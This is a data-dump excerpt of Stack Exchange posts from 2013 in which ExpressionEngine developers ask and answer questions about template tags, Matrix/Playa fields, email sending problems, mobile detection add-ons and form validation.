  <row Id="12133" PostTypeId="2" ParentId="12128" CreationDate="2013-07-20T17:13:51.140" Score="4" Body="&lt;p&gt;Assets does work with the built-in image manipulations when using local sources.  See &lt;a href=&quot;http://docs.pixelandtonic.com/assets/templating/field.html#image-manipulation-shortcut-tags&quot; rel=&quot;nofollow&quot;&gt;Asset Image Manipulations&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_assets_field:url:my_manipulation}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-07-20T17:13:51.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12134" PostTypeId="2" ParentId="12132" CreationDate="2013-07-20T17:48:35.447" Score="0" Body="&lt;p&gt;I couldn't find any issue in your code. It looks like a bug or a cache issue. Please, try to cleanup the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/data/clear_cached_data_files.html&quot; rel=&quot;nofollow&quot;&gt;relationships cache&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your place, I would use categories for services, instead of a channel: better performance and no cache issues.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-07-20T20:13:35.837" LastActivityDate="2013-07-20T20:13:35.837" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12135" PostTypeId="1" AcceptedAnswerId="12140" CreationDate="2013-07-20T20:45:54.680" Score="1" ViewCount="98" Body="&lt;p&gt;I have a Matrix field as a Low-Variable. It contains two columns, each Playa-Fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First Playa-Field: All my sites Pages from my &quot;Page&quot;-Channel.&#xA;Second Playa-Field: Every Sidebar-Block from my &quot;Sidebar&quot;-Channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to control all my Sidebars from one place with this structure. It allows me to create Sidebar-Groups through rows and even re-use Sidebar-Groups for two sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem: How can I check my {entry_id} (of the Page) against the {entry_id} of the first playa-field to check if I should execute this sidebar row?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want something like below, but obviously it doesn't work. Who knows a work-around?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var=&quot;lv_sidebar_pages&quot; var_prefix=&quot;matrix&quot;}&#xA;&#xA;        {if {matrix:cell_pages:child_ids} CONTAINS {embed:page_id}}&#xA;                    {matrix:cell_sidebars}&#xA;                    {!-- Sidebar-Code --}&#xA;                    {/matrix:cell_sidebars}&#xA;        {/if}&#xA;{/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also thought about a possibility to check normally in the first Playa-Field and then skip aka. break this loop of the Matrix-Field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:low_variables:parse var=&quot;lv_sidebar_pages&quot; var_prefix=&quot;matrix&quot;}&#xA;&#xA;        {matrix:cell_pages}&#xA;            {if {embed:page_id} != {entry_id}} &#xA;                BREAK THIS MATRIX LOOP.. and jump to the next row..&#xA;            {/if}&#xA;        {matrix:cell_pages}&#xA;&#xA;        {matrix:cell_sidebars}&#xA;            ..so this code isn't executed&#xA;        {/matrix:cell_sidebars}&#xA;{/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="1802" LastActivityDate="2013-07-21T10:37:46.027" Title="Check playa:child_ids against entry_id || Execute a Matric Column only if XYZ in the first" Tags="|matrix|playa|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12136" PostTypeId="1" CreationDate="2013-07-20T22:03:33.383" Score="2" ViewCount="204" Body="&lt;p&gt;My client is reporting that starting a few days ago, emails are not being sent to admin and customer on a completed transaction. This site has been running with no issues for nearly a year. Notifications are handled through CartThrob, which I believe uses the standard EE mail class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't made ANY changes. I did a quick test to test out the email class by sticking this in a template (from EE docs): (emails are real in my template, fake here)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;      $from = &quot;me@mydomain.com&quot;;&#xA;      $recipient=&quot;me@gmail.com&quot;;&#xA;      $email_subject = 'testing at 2:25 on CPC';&#xA;      $email_msg = &quot;here's the test from debra&quot;;&#xA;      ee()-&gt;load-&gt;library('email');&#xA;      ee()-&gt;load-&gt;helper('text');&#xA;      ee()-&gt;email-&gt;wordwrap = true;&#xA;      ee()-&gt;email-&gt;mailtype = 'text';&#xA;      ee()-&gt;email-&gt;from($from);&#xA;      ee()-&gt;email-&gt;to($recipient);&#xA;      ee()-&gt;email-&gt;subject($email_subject);&#xA;      ee()-&gt;email-&gt;message(entities_to_ascii($email_msg));&#xA;      ee()-&gt;email-&gt;send(FALSE);&#xA;      echo ee()-&gt;email-&gt;print_debugger(array('headers'));&#xA;      //ee()-&gt;email-&gt;Send();&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which should send the mail and show me the headers. Instead I get a blank page. I should be seeing PHP errors, if any. If I turn on the debug for EVERYONE, not just super-admin (which I am) I see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined function ee() in /www/mydir/public_html/mysys/expressionengine/libraries/Functions.php(680) : eval()'d code on line 6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Functions.php, that is pointing to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA; // --------------------------------------------------------------------&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * eval() &#xA; *&#xA; * Evaluates a string as PHP&#xA; *&#xA; * @access  public&#xA; * @param   string&#xA; * @return  mixed&#xA; */ &#xA;function evaluate($str)&#xA;{&#xA;    return eval('?'.'&amp;gt;'.$str.'&amp;lt;?php ');     &#xA;}&#xA;&#xA;// --------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Yes, I have php tags around the code in my template. Yes, I have PHP enabled in my template.) It's just not loading the email function from the library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought EE might have been mysteriously corrupted somehow, so I upgraded to the next version from the one we had, so we are now 2.53. No issues with the upgrade, but still failing to call email class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can send email through the Communicate module. I've put in a support ticket with our host to see if it's something server-related. I tried this exact same template on another site I have at the same host, and it works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone seen anything like this or have any ideas? It's a complete mystery to me! &lt;/p&gt;&#xA;" OwnerUserId="1803" LastActivityDate="2013-07-21T15:31:58.440" Title="Email class suddenly fails" Tags="|email|php-errors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12137" PostTypeId="2" ParentId="12126" CreationDate="2013-07-20T23:10:24.370" Score="3" Body="&lt;p&gt;This looks like a job to &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;channels_a_and_b&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;channel_a|channel_b&quot;}&#xA;                {stash:sort_field}{a_field}{b_field}{/stash:sort_field}&#xA;                {stash:another_field_a}{another_field}{/stash:another_field_a}&#xA;                {stash:another_field_b}{another_field}{/stash:another_field_b}&#xA;                [...]&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, on an embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;channels_a_and_b&quot; orderby=&quot;sort_field&quot;}&#xA;    {sort_field}&#xA;    {another_field_a}&#xA;    {another_field_b}&#xA;    [...]&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just, please, don't get addicted to Stash. I have seen a lot of unnecessary and complex uses of Stash around there.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-20T23:10:24.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12138" PostTypeId="1" AcceptedAnswerId="12139" CreationDate="2013-07-21T00:29:49.173" Score="0" ViewCount="1685" Body="&lt;p&gt;My template files are not in system &gt; expressionengine &gt; templates. There's only a single index.html file in that folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I visited Design ‣ Templates ‣ Global Preferences. Basepath to Template File Directory is set to a single slash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I figure out where they are?&lt;/p&gt;&#xA;" OwnerUserId="1746" LastActivityDate="2013-07-21T01:00:45.290" Title="My template files are not in system &gt; expressionengine &gt; templates. How can I figure out where they are?" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12139" PostTypeId="2" ParentId="12138" CreationDate="2013-07-21T01:00:45.290" Score="2" Body="&lt;p&gt;The templates are saved on database, by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to save them as files, you need to enable this feature on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html&quot; rel=&quot;nofollow&quot;&gt;Design &gt; Templates &gt; Global Preferences &gt; Save Templates as Files&lt;/a&gt;. Their default location is the folder of your website and &quot;system/expressionengine/templates&quot;, if you don't changed the name of the system folder. You can change the directory where they are saved on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html&quot; rel=&quot;nofollow&quot;&gt;Design &gt; Templates &gt; Global Preferences &gt; Basepath to template directoy&lt;/a&gt;. You need to fill this field with the full server path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you already have templates on database, you can edit them on Design &gt; Template Manager &gt; Template Group &gt; Template name. You'll find a check box &quot;Save template as file&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template as files and on database can be synchronized on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/synchronize_templates.html&quot; rel=&quot;nofollow&quot;&gt;Design › Templates › Synchronize Templates&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some developers synchronize the templates, disable the feature of saving the files and delete them before launch the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read about saving your templates as files on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/templates_as_files.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-21T01:00:45.290" CommentCount="0" CommunityOwnedDate="2013-07-21T01:00:45.290" ContentLicense="CC BY-SA 3.0" />
  <row Id="12140" PostTypeId="2" ParentId="12135" CreationDate="2013-07-21T10:37:46.027" Score="1" Body="&lt;p&gt;You can limit your Matrix field to only show rows that include the current page’s entry_id using Matrix’s &lt;code&gt;search&lt;/code&gt; param like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:cell_pages=&quot;[{entry_id}]&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just in case you might have accidentally added the same page to multiple Matrix rows, it’s probably worth throwing a &lt;code&gt;limit=&quot;1&quot;&lt;/code&gt; in there too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to throw it all together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var=&quot;lv_sidebar_pages&quot;&#xA;                         var_prefix=&quot;matrix&quot;&#xA;                         search:cell_pages=&quot;[{entry_id}]&quot;&#xA;                         limit=&quot;1&quot;}&#xA;&#xA;    {matrix:cell_sidebars}&#xA;        {!-- Sidebar-Code --}&#xA;    {/matrix:cell_sidebars}&#xA;&#xA;{/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending on what else is going on in your template, the &lt;code&gt;var_prefix&lt;/code&gt; probably isn’t necessary, but it doesn’t hurt so I left it in.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-07-21T10:37:46.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12141" PostTypeId="1" CreationDate="2013-07-21T11:55:23.247" Score="1" ViewCount="80" Body="&lt;p&gt;I have a link from my home page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;&amp;lt;a href=&quot;{title_permalink='projects/view'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have the template setup in my folder -&gt; &lt;a href=&quot;http://cl.ly/QMlL&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/QMlL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't understand why it isn't working.&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2013-08-21T13:14:21.207" Title="Permalinks going to 404" Tags="|templates|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12142" PostTypeId="1" AcceptedAnswerId="12148" CreationDate="2013-07-21T12:49:18.013" Score="2" ViewCount="507" Body="&lt;p&gt;In the templates, is there a way to know what type of devices is accessing the site? I need to make certain decisions based on that (e.g. what kind of images to push). An &quot;is_mobile&quot; or &quot;is_tablet&quot; check would be ideal.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-07-21T17:19:08.040" Title="How to tell if template is being accessed by mobile?" Tags="|templates|template-scripting|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12143" PostTypeId="2" ParentId="12142" CreationDate="2013-07-21T13:57:24.357" Score="3" Body="&lt;p&gt;The only way of do this is using addons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a &lt;a href=&quot;http://devot-ee.com/search/results?keywords=mobile&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;lot of them&lt;/a&gt; on Devotee. &lt;a href=&quot;http://devot-ee.com/add-ons/mobile&quot; rel=&quot;nofollow&quot;&gt;This looks a good bet&lt;/a&gt;, but I never used any of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it's better to use some front-end technique for this.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-21T13:57:24.357" CommentCount="0" CommunityOwnedDate="2013-07-21T13:57:24.357" ContentLicense="CC BY-SA 3.0" />
  <row Id="12144" PostTypeId="1" CreationDate="2013-07-21T15:26:11.210" Score="1" ViewCount="336" Body="&lt;p&gt;Around mid day 7/19 my emails stopped sending. Found out today that my Gmail account created just for the server was disabled. After a few hoops was able to get the Gmail account working again. But EE 2.6.1 still is not sending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could Gmail change some settings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using&#xA;tls://smtp.gmail.com:465  and port 587 to get EE to use a gmail account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But at this point I think Gmail changed or is no longer allowing this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any insight?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks Mike&lt;/p&gt;&#xA;" OwnerUserId="1305" LastActivityDate="2013-08-20T16:12:18.680" Title="SMTP Gmail not working" Tags="|email|smtp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12145" PostTypeId="2" ParentId="12136" CreationDate="2013-07-21T15:31:58.440" Score="1" Body="&lt;p&gt;Just wondering are you using SMTP and Gmail? If so I ‘m having a sending problem since 7/19&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12144/smtp-gmail-not-working&quot;&gt;just posted here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mike&lt;/p&gt;&#xA;" OwnerUserId="1305" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-07-21T15:31:58.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12146" PostTypeId="2" ParentId="12144" CreationDate="2013-07-21T15:44:07.523" Score="1" Body="&lt;p&gt;Looks like i just needed to give it some time after I reactivated the gmail account.&lt;/p&gt;&#xA;" OwnerUserId="1305" LastActivityDate="2013-07-21T15:44:07.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12147" PostTypeId="2" ParentId="12142" CreationDate="2013-07-21T16:40:13.950" Score="-1" Body="&lt;p&gt;Have you employed any sort of 3rd party statistics/traffic tracking like Google Analytics or StatCounter etc.?  You can drill down and do reports for a lot info like that. Or if you are comfortable, you can review your server logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit &gt; Sorry, not sure if you were asking how to SEE the break down of devices accessing your site, or how to just deliver custom views based on device type (like with media queries etc.).&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2013-07-21T16:40:13.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12148" PostTypeId="2" ParentId="12142" CreationDate="2013-07-21T17:19:08.040" Score="5" Body="&lt;p&gt;To extend Robson's answer, I've just been implementing this myself in the past few hours!:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.eec.ms/user_guide/mobile-device-detect&quot; rel=&quot;noreferrer&quot;&gt;MX Mobile Detect&lt;/a&gt; and on &lt;a href=&quot;http://devot-ee.com/add-ons/mx-mobile-device-detect&quot; rel=&quot;noreferrer&quot;&gt;Devotee&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could simply detect which device it is (e.g. ipad, iPhone, blackberry, etc), but that's too specific for my needs.  I just want to detect the different sizes of device so I can drop smaller images...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in addition to my JS libraries I have this tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:mobile_detect:device}&quot; != &quot;not_mobile&quot;}{exp:mobile_detect:screen_detect}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This basically drops the JS cookie to detect what type of device and gets height, width, etc, but only if the device is a mobile (includes tablets) - hence the conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U4lm8.png&quot; alt=&quot;Settings for Mobile Detect&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then have custom sizes which can be accessed with the variable &lt;code&gt;{responsive}&lt;/code&gt; and return the value I've set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I'm using CE_Image to deliver different sized images from the server:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{responsive}&quot; == &quot;small&quot;}&#xA;     {exp:ce_img:single src=&quot;{image}&quot; alt=&quot;{alt-text}&quot; width=&quot;420&quot; bg_color=&quot;FFF&quot; allow_scale_larger=&quot;yes&quot; quality=&quot;80&quot; save_type=&quot;jpg add_dims=&quot;no&quot;}&#xA;{if:else}&#xA;     {exp:ce_img:single src=&quot;{image}&quot; alt=&quot;{alt-text}&quot; width=&quot;938&quot; bg_color=&quot;FFF&quot; allow_scale_larger=&quot;yes&quot; quality=&quot;80&quot; save_type=&quot;jpg add_dims=&quot;no&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-21T17:19:08.040" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12149" PostTypeId="2" ParentId="12094" CreationDate="2013-07-21T19:31:06.680" Score="1" Body="&lt;p&gt;I would guess this file appeared later on. I had a quick look at a 2.1.0 install on &lt;a href=&quot;https://bitbucket.org/tyssen/ee2/src/e9f45b2b1476ee34788ef0d526e64ff36a87adc4/cms/expressionengine/libraries?at=master&quot; rel=&quot;nofollow&quot;&gt;bitbucket.org&lt;/a&gt; (not mine, just a random one I found) and that file doesn't seem to exist. Whereas I've check a couple of installs of my own and it is present in 2.5.3 and 2.6.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you upgrade your install? Or maybe you could get it touch with the Addon owner and see what's going on.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-07-21T19:31:06.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12150" PostTypeId="1" CreationDate="2013-07-21T19:58:45.840" Score="1" ViewCount="33" Body="&lt;p&gt;I'm trying to use the delete function in &lt;a href=&quot;http://www.solspace.com/docs/rating/delete/&quot; rel=&quot;nofollow&quot;&gt;Solspace's Ratings addon&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's passing the correct &lt;code&gt;rating_id&lt;/code&gt;, but what seems to be happening is that since I'm using Zoo Visitor, it doesn't seem to be recognising me as the author of the item I'm trying to delete (or something like that)?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I turn off the function that checks this?&lt;/p&gt;&#xA;" OwnerUserId="1805" LastEditorUserId="104" LastEditDate="2013-07-30T10:26:07.417" LastActivityDate="2013-09-28T10:50:20.790" Title="Ratings Delete function using zoo:visitors" Tags="|ee2|add-on|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12152" PostTypeId="2" ParentId="11866" CreationDate="2013-07-21T21:11:26.087" Score="0" Body="&lt;p&gt;I'm sorry about the delay. I just found your question on the list of unanswered questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion is to create a category_group for all magazines. Every magazine will be one category:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;National Geographic&lt;/li&gt;&#xA;&lt;li&gt;Sports Illustrated&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You will use them for group the editions. Each individual edition go into one category of the group.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-07-24T19:44:55.270" LastActivityDate="2013-07-24T19:44:55.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12153" PostTypeId="2" ParentId="12150" CreationDate="2013-07-21T21:56:28.113" Score="1" Body="&lt;p&gt;Disregard -- I found how to do this, was clearly written in the documentation I just didn't read.  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1799" LastActivityDate="2013-07-21T21:56:28.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12154" PostTypeId="1" CreationDate="2013-07-22T04:56:54.863" Score="0" ViewCount="1008" Body="&lt;p&gt;I am using the Freeform 4.0.12 along with ExpressionEngine v2.6.1 for forms in one of my projects and I have a situation where I need to display drop down values dynamically - based on what value was chosen in the previous dropdown. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar to a country/province dropdown - Eg. If I choose USA - then my province dropdown is filled with places from the USA, but if I choose India, then the provice dropdwon is filled with places in India.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I can incorporate something like this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, i am having an issue with the validation of the select fields. I am supposed to make them required. I tried using the inline errors and making the fields required. for example {freeform:field:country} - when I put this in, if I don't choose any option, by default the first value is chosen, if I manually enter all the values, then the validation works in the sense that the form is not submitted, but it doesnt display the field required error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could really use some help in there areas.&lt;/p&gt;&#xA;" OwnerUserId="1713" LastActivityDate="2013-09-21T10:45:43.737" Title="Dynamic dropdown/select values and Validation issues" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12155" PostTypeId="1" CreationDate="2013-07-22T05:40:33.900" Score="0" ViewCount="142" Body="&lt;p&gt;Using Matrix v2.5.6 under EE v2.6.1 I'm getting the following message pop-up in the Developer Log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Deprecated function set_human_time() called in system/expressionengine/third_party/matrix/celltypes/date.php on line 92.&#xA;Deprecated since 2.6. Use Localize::human_time instead.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure what the quick fix is for this?&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2013-07-22T12:52:29.307" Title="Matrix developer log note" Tags="|matrix|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12156" PostTypeId="2" ParentId="10724" CreationDate="2013-07-22T06:03:36.773" Score="1" Body="&lt;p&gt;This appears to be fixed in Matrix 2.5.6.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-07-22T06:03:36.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12157" PostTypeId="1" CreationDate="2013-07-22T06:38:39.230" Score="1" ViewCount="211" Body="&lt;p&gt;Is there a plugin or method to create a &quot;Notify me when product is available&quot; when a product is out of stock? I will like to let the CMS send an email to users who opt in to the notification whenever the project stock is replenished. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Rin&lt;/p&gt;&#xA;" OwnerUserId="1807" LastActivityDate="2013-07-23T02:44:49.707" Title="Expresso - Store : How to create a &quot;Notify me when product is available&quot; when product is out of stock" Tags="|expresso-store|module|email|out-of-stock|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12158" PostTypeId="2" ParentId="12154" CreationDate="2013-07-22T09:23:32.840" Score="1" Body="&lt;p&gt;Ok I managed to solve the dynamic dropdown values using some php/jquery and ajax, but I still have issues with the validation of the dropdown values. Can someone help me on that one?&lt;/p&gt;&#xA;" OwnerUserId="1713" LastActivityDate="2013-07-22T09:23:32.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12159" PostTypeId="1" CreationDate="2013-07-22T09:51:41.033" Score="1" ViewCount="162" Body="&lt;p&gt;I'm having a bit of trouble getting Open API to work with EE in conjunction with the Channel Entries API. It seems to be a similar problem to this question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10933/open-api-500-internal-server-error&quot;&gt;https://expressionengine.stackexchange.com/questions/10933/open-api-500-internal-server-error&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So pulling data with GET is fine, but POSTing data returns 500 errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble seems to stem from using square brackets or round brackets to access session data. Open API uses the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata['group_id']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whereas EE in the channel entries API uses this format with the round brackets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('group_id')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I went through and edited all references with round brackets in /libraries/api/Api_channel_entries to the square brackets and that fixed the issue with Open API. I was able to GET and POST just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it messed up everything else with publishing entries via the EE control panel or with Safecracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any insight into the difference between accessing data in these 2 ways and how it might be affecting things? I'm not sure whether its an EE problem or PHP issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running a local install of EE 2.5.2 with PHP 5.3.15 and I've also tried a fresh install of 2.6.1 and had the same issue.&lt;/p&gt;&#xA;" OwnerUserId="186" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-08-21T15:14:21.497" Title="Channel Entries API / Open API round or square brackets inconsistencies when accessing variables" Tags="|add-on|open-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12160" PostTypeId="1" AcceptedAnswerId="12161" CreationDate="2013-07-22T11:31:21.193" Score="0" ViewCount="287" Body="&lt;p&gt;I have a safecracker form for a channel which has a gender field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gender field is a relationship field that points to a gender channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I have the gender relationship id available to me via the {gender} tag in the safecracker form, how do I get the entry id of the gender channel row using it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE 2.5.5&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-22T12:47:45.583" Title="Given a relationship id, get the entry_id of related entries" Tags="|relationships|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
